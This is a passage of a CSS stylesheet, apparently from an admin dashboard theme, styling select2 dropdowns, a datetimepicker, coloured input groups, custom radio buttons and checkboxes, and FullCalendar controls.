#eaeaea; height: 35px; border-radius: 4px; -webkit-border-radius: 4px; -moz-border-radius: 4px; } .select2.select2-container--default .select2-selection--single .select2-selection__rendered { line-height: 35px; padding-left: 15px; padding-right: 30px; } .select2.select2-container--default .select2-selection--single .select2-selection__arrow { height: 33px; right: 8px; } .select2.select2-container--default .select2-selection--multiple { border-color: #eaeaea; } .select2.select2-container--default .select2-selection--multiple .select2-selection__rendered { margin-top: 1px; } .select2.select2-container--default .select2-selection--multiple .select2-selection__rendered .select2-selection__choice { border: none; padding: 1px 5px; } .select2.select2-container--default.select2-container--focus .select2-selection--multiple { border-color: #8e8e8e; } .select2.select2-container--default.select2-container--open.select2-container--below .select2-selection--single, .select2.select2-container--default.select2-container--open.select2-container--below .select2-selection--multiple { border-bottom-left-radius: 4px; border-bottom-right-radius: 4px; } .select2.select2-container .select2-selection--multiple { min-height: 35px; } .select2-container--default .select2-dropdown { background-color: #ffffff; border: none; border-radius: 6px; -webkit-border-radius: 6px; -moz-border-radius: 6px; -webkit-box-shadow: 0 2px 30px rgba(0, 0, 0, 0.08); -moz-box-shadow: 0 2px 30px rgba(0, 0, 0, 0.08); box-shadow: 0 2px 30px rgba(0, 0, 0, 0.08); } .select2-container--default .select2-dropdown .select2-search--dropdown { padding: 5px; } .select2-container--default .select2-dropdown .select2-search--dropdown .select2-search__field { height: 30px; border: none; background-color: #eaeaea; padding: 5px 10px; border-radius: 4px; -webkit-border-radius: 4px; -moz-border-radius: 4px; } .select2-container--default .select2-dropdown .select2-results .select2-results__options { padding: 5px; } .select2-results__option { background-color: #fff; padding: 8px 15px; border-radius: 4px; line-height: 14px; } .bootstrap-datetimepicker-widget .table thead { background-color: transparent; } .bootstrap-datetimepicker-widget .table thead tr th { color: #212121; border-radius: 6px; -webkit-border-radius: 6px; -moz-border-radius: 6px; } .bootstrap-datetimepicker-widget .table tr td, .bootstrap-datetimepicker-widget .table tr th { text-align: center; width: 35px; height: 35px; border-radius: 50%; border: none; line-height: 35px; position: relative; z-index: 1; } .bootstrap-datetimepicker-widget .table tr td.today, .bootstrap-datetimepicker-widget .table tr td.active { color: #ffffff; position: relative; z-index: 1; background-color: transparent; text-shadow: none; } .bootstrap-datetimepicker-widget .table tr td.today:before, .bootstrap-datetimepicker-widget .table tr td.today::before, .bootstrap-datetimepicker-widget .table tr td.active:before, .bootstrap-datetimepicker-widget .table tr td.active::before { width: 30px; height: 30px; border-radius: 50%; border: none; background-color: #4a5361; position: absolute; z-index: -1; display: block; margin: auto; content: ''; top: 6px; left: 0px; right: 0px; bottom: auto; -moz-transform: scale(1); -o-transform: scale(1); -ms-transform: scale(1); -webkit-transform: scale(1); transform: scale(1); } .bootstrap-datetimepicker-widget .table tr td.active:hover:before, .bootstrap-datetimepicker-widget .table tr td.active:hover::before { background-color: #4a5361 !important; } .bootstrap-datetimepicker-widget .table tr td.today:before, .bootstrap-datetimepicker-widget .table tr td.today::before { background-color: #ef4153; } .bootstrap-datetimepicker-widget .table tr td.day:hover, .bootstrap-datetimepicker-widget .table tr td.hour:hover, .bootstrap-datetimepicker-widget .table tr td.minute:hover, .bootstrap-datetimepicker-widget .table tr td.second:hover { background-color: transparent; } .bootstrap-datetimepicker-widget .table tr td:before, .bootstrap-datetimepicker-widget .table tr td::before { width: 30px; height: 30px; border-radius: 50%; border: none; background-color: transparent; position: absolute; z-index: -1; display: block; margin: auto; content: ''; top: 6px; left: 0px; right: 0px; bottom: auto; -moz-transform: scale(0); -o-transform: scale(0); -ms-transform: scale(0); -webkit-transform: scale(0); transform: scale(0); -moz-transition: 0.3s ease-in-out; -o-transition: 0.3s ease-in-out; -webkit-transition: 0.3s ease-in-out; transition: 0.3s ease-in-out; } .bootstrap-datetimepicker-widget .table tr td:hover:before, .bootstrap-datetimepicker-widget .table tr td:hover::before { background-color: #f4f4f4; -moz-transform: scale(1); -o-transform: scale(1); -ms-transform: scale(1); -webkit-transform: scale(1); transform: scale(1); } .bootstrap-datetimepicker-widget .timepicker table td { position: relative; z-index: 1; width: 35px; height: 35px; line-height: 35px; } .bootstrap-datetimepicker-widget .timepicker table td .btn { height: auto; } .bootstrap-datetimepicker-widget .timepicker table td span { width: 35px; height: 35px; line-height: 35px; } .bootstrap-datetimepicker-widget.dropdown-menu { min-width: 280px; } .bootstrap-datetimepicker-widget.dropdown-menu.bottom:before, .bootstrap-datetimepicker-widget.dropdown-menu.bottom::before { border-bottom-color: #fff; } .bootstrap-datetimepicker-widget.dropdown-menu.top:before, .bootstrap-datetimepicker-widget.dropdown-menu.top::before { border-top-color: #fff; } .bootstrap-datetimepicker-widget.dropdown-menu .datepicker table tr th, .bootstrap-datetimepicker-widget.dropdown-menu .datepicker table tr td { width: 30px; height: 30px; line-height: 30px; } .bootstrap-datetimepicker-widget.dropdown-menu .datepicker table tr td:before, .bootstrap-datetimepicker-widget.dropdown-menu .datepicker table tr td::before { top: 4px; left: 0px; } .bootstrap-datetimepicker-widget.dropdown-menu .datepicker table tr td.today:before, .bootstrap-datetimepicker-widget.dropdown-menu .datepicker table tr td.today::before, .bootstrap-datetimepicker-widget.dropdown-menu .datepicker table tr td.active:before, .bootstrap-datetimepicker-widget.dropdown-menu .datepicker table tr td.active::before { top: 4px; left: 0px; } .bootstrap-tagsinput { display: block; border: 1px solid #eaeaea; min-height: 35px; padding: 0px 10px; padding-top: 4px; -webkit-box-shadow: none; -moz-box-shadow: none; box-shadow: none; } .bootstrap-tagsinput .tag { padding: 1px 5px; margin-right: 2px; margin-bottom: 4px; display: inline-block; text-transform: capitalize; border-radius: 4px; -webkit-border-radius: 4px; -moz-border-radius: 4px; background-color: #4c5667; } .note-editor.note-frame.card { -webkit-box-shadow: none; -moz-box-shadow: none; box-shadow: none; } .input-group { margin-bottom: 1.25em; } .form-control-primary { border-color: #007bff; color: #007bff; } .form-control-primary:focus { border-color: #007bff; } .input-group-primary .input-group-append .input-group-text, .input-group-primary .input-group-prepend .input-group-text { background-color: #007bff; border-color: #007bff; color: #ffffff; } .input-group-primary .form-control { border-color: #007bff; } .form-control-warning { border-color: #fb6340; color: #fb6340; } .form-control-warning:focus { border-color: #fb6340; } .input-group-warning .input-group-append .input-group-text, .input-group-warning .input-group-prepend .input-group-text { background-color: #fb6340; border-color: #fb6340; color: #ffffff; } .input-group-warning .form-control { border-color: #fb6340; } .form-control-default { border-color: #d6d6d6; color: #d6d6d6; } .form-control-default:focus { border-color: #d6d6d6; } .input-group-default .input-group-append .input-group-text, .input-group-default .input-group-prepend .input-group-text { background-color: #d6d6d6; border-color: #d6d6d6; color: #ffffff; } .input-group-default .form-control { border-color: #d6d6d6; } .form-control-danger { border-color: #f5365c; color: #f5365c; } .form-control-danger:focus { border-color: #f5365c; } .input-group-danger .input-group-append .input-group-text, .input-group-danger .input-group-prepend .input-group-text { background-color: #f5365c; border-color: #f5365c; color: #ffffff; } .input-group-danger .form-control { border-color: #f5365c; } .form-control-success { border-color: #2dce89; color: #2dce89; } .form-control-success:focus { border-color: #2dce89; } .input-group-success .input-group-append .input-group-text, .input-group-success .input-group-prepend .input-group-text { background-color: #2dce89; border-color: #2dce89; color: #ffffff; } .input-group-success .form-control { border-color: #2dce89; } .form-control-inverse { border-color: #4c5667; color: #4c5667; } .form-control-inverse:focus { border-color: #4c5667; } .input-group-inverse .input-group-append .input-group-text, .input-group-inverse .input-group-prepend .input-group-text { background-color: #4c5667; border-color: #4c5667; color: #ffffff; } .input-group-inverse .form-control { border-color: #4c5667; } .form-control-info { border-color: #11cdef; color: #11cdef; } .form-control-info:focus { border-color: #11cdef; } .input-group-info .input-group-append .input-group-text, .input-group-info .input-group-prepend .input-group-text { background-color: #11cdef; border-color: #11cdef; color: #ffffff; } .input-group-info .form-control { border-color: #11cdef; } .form-txt-primary { color: #007bff; } .form-txt-primary:focus { color: #007bff; } .form-txt-primary::-moz-placeholder { color: #007bff; opacity: 1; } .form-txt-primary:-ms-input-placeholder { color: #007bff; } .form-txt-primary::-webkit-input-placeholder { color: #007bff; } .form-txt-warning { color: #fb6340; } .form-txt-warning:focus { color: #fb6340; } .form-txt-warning::-moz-placeholder { color: #fb6340; opacity: 1; } .form-txt-warning:-ms-input-placeholder { color: #fb6340; } .form-txt-warning::-webkit-input-placeholder { color: #fb6340; } .form-txt-default { color: #d6d6d6; } .form-txt-default:focus { color: #d6d6d6; } .form-txt-default::-moz-placeholder { color: #d6d6d6; opacity: 1; } .form-txt-default:-ms-input-placeholder { color: #d6d6d6; } .form-txt-default::-webkit-input-placeholder { color: #d6d6d6; } .form-txt-danger { color: #f5365c; } .form-txt-danger:focus { color: #f5365c; } .form-txt-danger::-moz-placeholder { color: #f5365c; opacity: 1; } .form-txt-danger:-ms-input-placeholder { color: #f5365c; } .form-txt-danger::-webkit-input-placeholder { color: #f5365c; } .form-txt-success { color: #2dce89; } .form-txt-success:focus { color: #2dce89; } .form-txt-success::-moz-placeholder { color: #2dce89; opacity: 1; } .form-txt-success:-ms-input-placeholder { color: #2dce89; } .form-txt-success::-webkit-input-placeholder { color: #2dce89; } .form-txt-inverse { color: #4c5667; } .form-txt-inverse:focus { color: #4c5667; } .form-txt-inverse::-moz-placeholder { color: #4c5667; opacity: 1; } .form-txt-inverse:-ms-input-placeholder { color: #4c5667; } .form-txt-inverse::-webkit-input-placeholder { color: #4c5667; } .form-txt-info { color: #11cdef; } .form-txt-info:focus { color: #11cdef; } .form-txt-info::-moz-placeholder { color: #11cdef; opacity: 1; } .form-txt-info:-ms-input-placeholder { color: #11cdef; } .form-txt-info::-webkit-input-placeholder { color: #11cdef; } .form-bg-primary { background-color: #007bff; border-color: #007bff; color: #fff; } .form-bg-primary:focus { background-color: #007bff; border-color: #007bff; color: #fff; } .form-bg-primary::-moz-placeholder { color: #fff; opacity: 1; } .form-bg-primary:-ms-input-placeholder { color: #fff; } .form-bg-primary::-webkit-input-placeholder { color: #fff; } .form-bg-warning { background-color: #fb6340; border-color: #fb6340; color: #fff; } .form-bg-warning:focus { background-color: #fb6340; border-color: #fb6340; color: #fff; } .form-bg-warning::-moz-placeholder { color: #fff; opacity: 1; } .form-bg-warning:-ms-input-placeholder { color: #fff; } .form-bg-warning::-webkit-input-placeholder { color: #fff; } .form-bg-default { background-color: #d6d6d6; border-color: #d6d6d6; color: #fff; } .form-bg-default:focus { background-color: #d6d6d6; border-color: #d6d6d6; color: #fff; } .form-bg-default::-moz-placeholder { color: #fff; opacity: 1; } .form-bg-default:-ms-input-placeholder { color: #fff; } .form-bg-default::-webkit-input-placeholder { color: #fff; } .form-bg-danger { background-color: #f5365c; border-color: #f5365c; color: #fff; } .form-bg-danger:focus { background-color: #f5365c; border-color: #f5365c; color: #fff; } .form-bg-danger::-moz-placeholder { color: #fff; opacity: 1; } .form-bg-danger:-ms-input-placeholder { color: #fff; } .form-bg-danger::-webkit-input-placeholder { color: #fff; } .form-bg-success { background-color: #2dce89; border-color: #2dce89; color: #fff; } .form-bg-success:focus { background-color: #2dce89; border-color: #2dce89; color: #fff; } .form-bg-success::-moz-placeholder { color: #fff; opacity: 1; } .form-bg-success:-ms-input-placeholder { color: #fff; } .form-bg-success::-webkit-input-placeholder { color: #fff; } .form-bg-inverse { background-color: #4c5667; border-color: #4c5667; color: #fff; } .form-bg-inverse:focus { background-color: #4c5667; border-color: #4c5667; color: #fff; } .form-bg-inverse::-moz-placeholder { color: #fff; opacity: 1; } .form-bg-inverse:-ms-input-placeholder { color: #fff; } .form-bg-inverse::-webkit-input-placeholder { color: #fff; } .form-bg-info { background-color: #11cdef; border-color: #11cdef; color: #fff; } .form-bg-info:focus { background-color: #11cdef; border-color: #11cdef; color: #fff; } .form-bg-info::-moz-placeholder { color: #fff; opacity: 1; } .form-bg-info:-ms-input-placeholder { color: #fff; } .form-bg-info::-webkit-input-placeholder { color: #fff; } .form-radio { position: relative; } .form-radio .form-help { position: absolute; width: 100%; } .form-radio label { position: relative; padding-left: 1.5rem; text-align: left; color: #333; display: block; line-height: 1.8; } .form-radio input { width: auto; opacity: 0.00000001; position: absolute; left: 0; } .radio .helper { position: absolute; top: -0.25rem; left: -0.25rem; cursor: pointer; display: block; font-size: 1rem; -webkit-user-select: none; -moz-user-select: none; -ms-user-select: none; user-select: none; color: #999; } .radio .helper::after { transform: scale(0); background-color: #007bff; border-color: #007bff; } .radio .helper::after, .radio .helper::before { content: ''; position: absolute; left: 0; top: 3px; margin: 0.25rem; width: 1rem; height: 1rem; -webkit-transition: -webkit-transform 0.28s ease; transition: -webkit-transform 0.28s ease; transition: transform 0.28s ease, -webkit-transform 0.28s ease; border-radius: 50%; border: 0.125rem solid #007bff; } .radio label:hover .helper { color: #007bff; } .radio input:checked ~ .helper::after { transform: scale(0.5); } .radio input:checked ~ .helper::before { color: #007bff; animation: ripple 0.3s linear forwards; } .radio.radiofill input:checked ~ .helper::after { transform: scale(1); } .radio.radiofill .helper::after { background-color: #007bff; } .radio.radio-outline input:checked ~ .helper::after { transform: scale(0.6); } .radio.radio-outline .helper::after { background-color: #fff; border: 0.225rem solid #007bff; } .radio.radio-matrial input ~ .helper::after { background-color: #fff; } .radio.radio-matrial input:checked ~ .helper::after { transform: scale(0.5); box-shadow: 0 1px 7px -1px rgba(0, 0, 0, 0.72); } .radio.radio-matrial input:checked ~ .helper::before { background-color: #007bff; } .radio.radio-disable { opacity: 0.7; } .radio.radio-disable label { cursor: not-allowed; } .radio-inline { display: inline-block; margin-right: 20px; } .radio.radio-primary .helper::after { background-color: #007bff; border-color: #007bff; } .radio.radio-primary .helper::before { border-color: #007bff; } .radio.radio-outline.radio-primary .helper::after { background-color: #fff; border: 0.225rem solid #007bff; } .radio.radio-outline.radio-primary .helper::before { border-color: #007bff; } .radio.radio-matrial.radio-primary input ~ .helper::after { background-color: #fff; border-color: #fff; } .radio.radio-matrial.radio-primary input ~ .helper::before { background-color: #007bff; border-color: #007bff; } .radio.radio-warning .helper::after { background-color: #fb6340; border-color: #fb6340; } .radio.radio-warning .helper::before { border-color: #fb6340; } .radio.radio-outline.radio-warning .helper::after { background-color: #fff; border: 0.225rem solid #fb6340; } .radio.radio-outline.radio-warning .helper::before { border-color: #fb6340; } .radio.radio-matrial.radio-warning input ~ .helper::after { background-color: #fff; border-color: #fff; } .radio.radio-matrial.radio-warning input ~ .helper::before { background-color: #fb6340; border-color: #fb6340; } .radio.radio-default .helper::after { background-color: #d6d6d6; border-color: #d6d6d6; } .radio.radio-default .helper::before { border-color: #d6d6d6; } .radio.radio-outline.radio-default .helper::after { background-color: #fff; border: 0.225rem solid #d6d6d6; } .radio.radio-outline.radio-default .helper::before { border-color: #d6d6d6; } .radio.radio-matrial.radio-default input ~ .helper::after { background-color: #fff; border-color: #fff; } .radio.radio-matrial.radio-default input ~ .helper::before { background-color: #d6d6d6; border-color: #d6d6d6; } .radio.radio-danger .helper::after { background-color: #f5365c; border-color: #f5365c; } .radio.radio-danger .helper::before { border-color: #f5365c; } .radio.radio-outline.radio-danger .helper::after { background-color: #fff; border: 0.225rem solid #f5365c; } .radio.radio-outline.radio-danger .helper::before { border-color: #f5365c; } .radio.radio-matrial.radio-danger input ~ .helper::after { background-color: #fff; border-color: #fff; } .radio.radio-matrial.radio-danger input ~ .helper::before { background-color: #f5365c; border-color: #f5365c; } .radio.radio-success .helper::after { background-color: #2dce89; border-color: #2dce89; } .radio.radio-success .helper::before { border-color: #2dce89; } .radio.radio-outline.radio-success .helper::after { background-color: #fff; border: 0.225rem solid #2dce89; } .radio.radio-outline.radio-success .helper::before { border-color: #2dce89; } .radio.radio-matrial.radio-success input ~ .helper::after { background-color: #fff; border-color: #fff; } .radio.radio-matrial.radio-success input ~ .helper::before { background-color: #2dce89; border-color: #2dce89; } .radio.radio-inverse .helper::after { background-color: #4c5667; border-color: #4c5667; } .radio.radio-inverse .helper::before { border-color: #4c5667; } .radio.radio-outline.radio-inverse .helper::after { background-color: #fff; border: 0.225rem solid #4c5667; } .radio.radio-outline.radio-inverse .helper::before { border-color: #4c5667; } .radio.radio-matrial.radio-inverse input ~ .helper::after { background-color: #fff; border-color: #fff; } .radio.radio-matrial.radio-inverse input ~ .helper::before { background-color: #4c5667; border-color: #4c5667; } .radio.radio-info .helper::after { background-color: #11cdef; border-color: #11cdef; } .radio.radio-info .helper::before { border-color: #11cdef; } .radio.radio-outline.radio-info .helper::after { background-color: #fff; border: 0.225rem solid #11cdef; } .radio.radio-outline.radio-info .helper::before { border-color: #11cdef; } .radio.radio-matrial.radio-info input ~ .helper::after { background-color: #fff; border-color: #fff; } .radio.radio-matrial.radio-info input ~ .helper::before { background-color: #11cdef; border-color: #11cdef; } @keyframes ripple { 0% { box-shadow: 0 0 0 1px rgba(0, 0, 0, 0); } 50% { box-shadow: 0 0 0 10px rgba(0, 0, 0, 0.05); } 100% { box-shadow: 0 0 0 10px rgba(0, 0, 0, 0); } } .border-checkbox-section .border-checkbox-group { display: inline-block; } .border-checkbox-section .border-checkbox-group .border-checkbox:checked + .border-checkbox-label:before { animation: ripple 0.3s linear forwards; } .border-checkbox-section .border-checkbox-group .border-checkbox:checked + .border-checkbox-label:after { -webkit-animation: check linear 0.5s; animation: check linear 0.5s; opacity: 1; border-color: #007bff; } .border-checkbox-section .border-checkbox-group .border-checkbox:checked + .border-checkbox-label:after .border-checkbox-label:before { border-color: #eee; } .border-checkbox-section .border-checkbox-group .border-checkbox-label { position: relative; display: inline-block; cursor: pointer; height: 20px; line-height: 20px; padding-left: 30px; margin-right: 15px; } .border-checkbox-section .border-checkbox-group .border-checkbox-label:after { content: ""; display: block; width: 6px; height: 12px; opacity: 0.9; border-right: 2px solid #eee; border-top: 2px solid #eee; position: absolute; left: 4px; top: 11px; -webkit-transform: scaleX(-1) rotate(135deg); transform: scaleX(-1) rotate(135deg); -webkit-transform-origin: left top; transform-origin: left top; } .border-checkbox-section .border-checkbox-group .border-checkbox-label:before { content: ""; display: block; border: 2px solid #007bff; width: 20px; height: 20px; position: absolute; left: 0; } .border-checkbox-section .border-checkbox { display: none; } .border-checkbox-section .border-checkbox:disabled ~ .border-checkbox-label { cursor: no-drop; color: #ccc; } @-webkit-keyframes check { 0% { height: 0; width: 0; } 25% { height: 0; width: 6px; } 50% { height: 12px; width: 6px; } } @keyframes check { 0% { height: 0; width: 0; } 25% { height: 0; width: 6px; } 50% { height: 12px; width: 6px; } } .border-checkbox-section .border-checkbox-group-primary .border-checkbox-label:before { border: 2px solid #007bff; } .border-checkbox-section .border-checkbox-group-primary .border-checkbox:checked + .border-checkbox-label:after { border-color: #007bff; } .border-checkbox-section .border-checkbox-group-warning .border-checkbox-label:before { border: 2px solid #fb6340; } .border-checkbox-section .border-checkbox-group-warning .border-checkbox:checked + .border-checkbox-label:after { border-color: #fb6340; } .border-checkbox-section .border-checkbox-group-default .border-checkbox-label:before { border: 2px solid #d6d6d6; } .border-checkbox-section .border-checkbox-group-default .border-checkbox:checked + .border-checkbox-label:after { border-color: #d6d6d6; } .border-checkbox-section .border-checkbox-group-danger .border-checkbox-label:before { border: 2px solid #f5365c; } .border-checkbox-section .border-checkbox-group-danger .border-checkbox:checked + .border-checkbox-label:after { border-color: #f5365c; } .border-checkbox-section .border-checkbox-group-success .border-checkbox-label:before { border: 2px solid #2dce89; } .border-checkbox-section .border-checkbox-group-success .border-checkbox:checked + .border-checkbox-label:after { border-color: #2dce89; } .border-checkbox-section .border-checkbox-group-inverse .border-checkbox-label:before { border: 2px solid #4c5667; } .border-checkbox-section .border-checkbox-group-inverse .border-checkbox:checked + .border-checkbox-label:after { border-color: #4c5667; } .border-checkbox-section .border-checkbox-group-info .border-checkbox-label:before { border: 2px solid #11cdef; } .border-checkbox-section .border-checkbox-group-info .border-checkbox:checked + .border-checkbox-label:after { border-color: #11cdef; } .checkbox-fade, .checkbox-zoom { display: inline-block; margin-right: 15px; } .checkbox-fade label, .checkbox-zoom label { line-height: 20px; } .checkbox-fade label input[type="checkbox"], .checkbox-fade label input[type="radio"], .checkbox-zoom label input[type="checkbox"], .checkbox-zoom label input[type="radio"] { display: none; } .checkbox-fade label input[type="checkbox"]:checked + .cr > .cr-icon, .checkbox-fade label input[type="radio"]:checked + .cr > .cr-icon, .checkbox-zoom label input[type="checkbox"]:checked + .cr > .cr-icon, .checkbox-zoom label input[type="radio"]:checked + .cr > .cr-icon { transform: scale(1) rotateZ(0deg); opacity: 1; } .checkbox-fade label input[type="checkbox"] + .cr > .cr-icon, .checkbox-fade label input[type="radio"] + .cr > .cr-icon, .checkbox-zoom label input[type="checkbox"] + .cr > .cr-icon, .checkbox-zoom label input[type="radio"] + .cr > .cr-icon { transform: scale(3) rotateZ(-20deg); opacity: 0; transition: all 0.3s ease-in; } .checkbox-fade label:after, .checkbox-zoom label:after { content: ''; display: table; clear: both; } .checkbox-fade.fade-in-disable .cr, .checkbox-fade.fade-in-disable label, .checkbox-zoom.fade-in-disable .cr, .checkbox-zoom.fade-in-disable label { color: #ccc; cursor: no-drop; } .checkbox-fade .cr, .checkbox-zoom .cr { border-radius: 0; border: 2px solid #007bff; cursor: pointer; display: inline-block; float: left; height: 20px; margin-right: 1rem; position: relative; width: 20px; } .checkbox-fade .cr .cr-icon, .checkbox-zoom .cr .cr-icon { color: #007bff; font-size: 1em; left: 0; line-height: 0; position: absolute; right: 0; text-align: center; top: 50%; } .checkbox-fade input[type="checkbox"]:checked + .cr, .checkbox-zoom input[type="checkbox"]:checked + .cr { animation: ripple 0.3s linear forwards; } .checkbox-fade label { line-height: 20px; } .checkbox-fade label input[type="checkbox"], .checkbox-fade label input[type="radio"] { display: none; } .checkbox-fade label input[type="checkbox"]:checked + .cr > .cr-icon, .checkbox-fade label input[type="radio"]:checked + .cr > .cr-icon { transform: scale(1) rotateZ(0deg); opacity: 1; } .checkbox-fade label input[type="checkbox"] + .cr > .cr-icon, .checkbox-fade label input[type="radio"] + .cr > .cr-icon { transform: scale(3) rotateZ(-20deg); opacity: 0; transition: all 0.3s ease-in; } .checkbox-zoom label { line-height: 20px; } .checkbox-zoom label input[type="checkbox"], .checkbox-zoom label input[type="radio"] { display: none; } .checkbox-zoom label input[type="checkbox"]:checked + .cr > .cr-icon, .checkbox-zoom label input[type="radio"]:checked + .cr > .cr-icon { transform: scale3d(1, 1, 1) translate3d(0, 0, 0); opacity: 1; } .checkbox-zoom label input[type="checkbox"] + .cr > .cr-icon, .checkbox-zoom label input[type="radio"] + .cr > .cr-icon { transform: scale3d(0.2, 0.2, 0.1) translate3d(0, 0, 0); opacity: 0; transition: all 0.3s ease-in; } .checkbox-fade.fade-in-primary .cr, .checkbox-fade.zoom-primary .cr, .checkbox-zoom.fade-in-primary .cr, .checkbox-zoom.zoom-primary .cr { border: 2px solid #007bff; } .checkbox-fade.fade-in-primary .cr .cr-icon, .checkbox-fade.zoom-primary .cr .cr-icon, .checkbox-zoom.fade-in-primary .cr .cr-icon, .checkbox-zoom.zoom-primary .cr .cr-icon { color: #007bff; } .checkbox-fade.fade-in-warning .cr, .checkbox-fade.zoom-warning .cr, .checkbox-zoom.fade-in-warning .cr, .checkbox-zoom.zoom-warning .cr { border: 2px solid #fb6340; } .checkbox-fade.fade-in-warning .cr .cr-icon, .checkbox-fade.zoom-warning .cr .cr-icon, .checkbox-zoom.fade-in-warning .cr .cr-icon, .checkbox-zoom.zoom-warning .cr .cr-icon { color: #fb6340; } .checkbox-fade.fade-in-default .cr, .checkbox-fade.zoom-default .cr, .checkbox-zoom.fade-in-default .cr, .checkbox-zoom.zoom-default .cr { border: 2px solid #d6d6d6; } .checkbox-fade.fade-in-default .cr .cr-icon, .checkbox-fade.zoom-default .cr .cr-icon, .checkbox-zoom.fade-in-default .cr .cr-icon, .checkbox-zoom.zoom-default .cr .cr-icon { color: #d6d6d6; } .checkbox-fade.fade-in-danger .cr, .checkbox-fade.zoom-danger .cr, .checkbox-zoom.fade-in-danger .cr, .checkbox-zoom.zoom-danger .cr { border: 2px solid #f5365c; } .checkbox-fade.fade-in-danger .cr .cr-icon, .checkbox-fade.zoom-danger .cr .cr-icon, .checkbox-zoom.fade-in-danger .cr .cr-icon, .checkbox-zoom.zoom-danger .cr .cr-icon { color: #f5365c; } .checkbox-fade.fade-in-success .cr, .checkbox-fade.zoom-success .cr, .checkbox-zoom.fade-in-success .cr, .checkbox-zoom.zoom-success .cr { border: 2px solid #2dce89; } .checkbox-fade.fade-in-success .cr .cr-icon, .checkbox-fade.zoom-success .cr .cr-icon, .checkbox-zoom.fade-in-success .cr .cr-icon, .checkbox-zoom.zoom-success .cr .cr-icon { color: #2dce89; } .checkbox-fade.fade-in-inverse .cr, .checkbox-fade.zoom-inverse .cr, .checkbox-zoom.fade-in-inverse .cr, .checkbox-zoom.zoom-inverse .cr { border: 2px solid #4c5667; } .checkbox-fade.fade-in-inverse .cr .cr-icon, .checkbox-fade.zoom-inverse .cr .cr-icon, .checkbox-zoom.fade-in-inverse .cr .cr-icon, .checkbox-zoom.zoom-inverse .cr .cr-icon { color: #4c5667; } .checkbox-fade.fade-in-info .cr, .checkbox-fade.zoom-info .cr, .checkbox-zoom.fade-in-info .cr, .checkbox-zoom.zoom-info .cr { border: 2px solid #11cdef; } .checkbox-fade.fade-in-info .cr .cr-icon, .checkbox-fade.zoom-info .cr .cr-icon, .checkbox-zoom.fade-in-info .cr .cr-icon, .checkbox-zoom.zoom-info .cr .cr-icon { color: #11cdef; } .checkbox-color { display: inline-block; margin-right: 20px; cursor: pointer; } .checkbox-color label { display: inline-block; position: relative; padding-left: 10px; line-height: 20px; } .checkbox-color label::before { content: ""; display: inline-block; position: absolute; top: 0; width: 20px; height: 20px; left: 0; right: 0; text-align: center; margin-left: -20px; border: 1px solid #ccc; border-radius: 0; background-color: #fff; transition: border 0.15s ease-in-out, color 0.15s ease-in-out; } .checkbox-color label::after { display: inline-block; position: absolute; width: 16px; height: 16px; left: -1px; top: 0; margin-left: -17px; padding-left: 3px; padding-top: 1px; font-size: 11px; color: #fff; } .checkbox-color input[type="checkbox"] { opacity: 0; } .checkbox-color input[type="checkbox"]:focus + label::before { outline: thin dotted; outline: 5px auto -webkit-focus-ring-color; outline-offset: -2px; } .checkbox-color input[type="checkbox"]:checked + label::after { font-family: 'FontAwesome'; content: "\f00c"; } .checkbox-color input[type="checkbox"]:checked + label::before { animation: ripple 0.3s linear forwards; } .checkbox-color input[type="checkbox"]:disabled + label { opacity: 0.65; } .checkbox-color input[type="checkbox"]:disabled + label::before { background-color: #eee; cursor: not-allowed; } .checkbox-color.checkbox-circle label::before { border-radius: 50%; } .checkbox-color.checkbox-inline { margin-top: 0; } .checkbox-danger input[type="checkbox"]:checked + label::after, .checkbox-info input[type="checkbox"]:checked + label::after, .checkbox-primary input[type="checkbox"]:checked + label::after, .checkbox-success input[type="checkbox"]:checked + label::after, .checkbox-warning input[type="checkbox"]:checked + label::after { color: #fff; } .checkbox-primary input[type="checkbox"]:checked + label::before { background-color: #2196f3; border-color: #2196f3; } .checkbox-primary input[type="checkbox"]:checked + label::before { background-color: #007bff; } .checkbox-warning input[type="checkbox"]:checked + label::before { background-color: #fb6340; } .checkbox-default input[type="checkbox"]:checked + label::before { background-color: #d6d6d6; } .checkbox-danger input[type="checkbox"]:checked + label::before { background-color: #f5365c; } .checkbox-success input[type="checkbox"]:checked + label::before { background-color: #2dce89; } .checkbox-inverse input[type="checkbox"]:checked + label::before { background-color: #4c5667; } .checkbox-info input[type="checkbox"]:checked + label::before { background-color: #11cdef; } .slider-nav .left-arrow, .slider-nav .right-arrow { font-size: 20px; color: #145388; display: inline-block; vertical-align: middle; margin: 0 15px; } .slider-nav .slider-dot-container { display: inline-block; } .slider-nav .slider-dot-container .owl-dot { width: 6px; height: 6px; border-radius: 10px; color: #00a7e2; background: #7cb9ec; outline: initial !important; border: initial; margin: 0 5px; padding: 0; } .slider-nav .slider-dot-container .owl-dot.active { background: #145388; } .fc .fc-toolbar .fc-button { background: #4a5361; color: #fff; padding: 5px 10px; height: auto; border: none; text-transform: capitalize; text-shadow: none; -webkit-box-shadow: none; -moz-box-shadow: none; box-shadow: none; } .fc .fc-toolbar .fc-button .fc-icon { margin: 0; top: 0; } .fc .fc-toolbar .fc-button .fc-icon:after, .fc .fc-toolbar .fc-button .fc-icon::after { font-family: "iconkit"; font-size: 16px; } .fc .fc-toolbar .fc-button .fc-icon.fc-icon-left-single-arrow:after, .fc .fc-toolbar .fc-button .fc-icon.fc-icon-left-single-arrow::after { content: "\e843"; } .fc .fc-toolbar .fc-button .fc-icon.fc-icon-right-single-arrow:after, .fc .fc-toolbar .fc-button .fc-icon.fc-icon-right-single-arrow::after { content: "\e844"; } .fc .fc-toolbar .fc-button.fc-state-active, .fc .fc-toolbar .fc-button.fc-state-down { background: #272d36 !important; } .fc .fc-toolbar h2 { font-size: 22px; font-weight: 600; } .fc .fc-view-container .fc-view table thead tr td.fc-widget-header, .fc .fc-view-container .fc-view table thead tr th.fc-widget-header { color: #4a5361; background: #f3f4f4; border-color: #f3f4f4; padding: 10px 0px; } .fc .fc-view-container .fc-view .fc-day-number { float: left; padding: 10px 0 5px 10px; } .fc .fc-view-container .fc-view .fc-other-month { background: #f3f9ff; } .fc .fc-view-container .fc-view .fc-event-container .fc-event { display: block; padding: 3px 5px; color: #ffffff; font-weight: 600; font-size: 12px; border: none; } .fc-unthemed .fc-content, .fc-unthemed .fc-divider, .fc-unthemed .fc-list-heading, .fc-unthemed .fc-list-view, .fc-unthemed .fc-popover, .fc-unthemed .fc-row, .fc-unthemed tbody, .fc-unthemed td, .fc-unthemed thead { border-color: #f3f4f4; } .color-selector { padding: 0; margin: 0; list-style: none; } .color-selector li { position: relative; display: inline-block; width: 25px; height: 25px; margin: 0 8px 8px 0; background-color: #3e8ef7; border-radius: 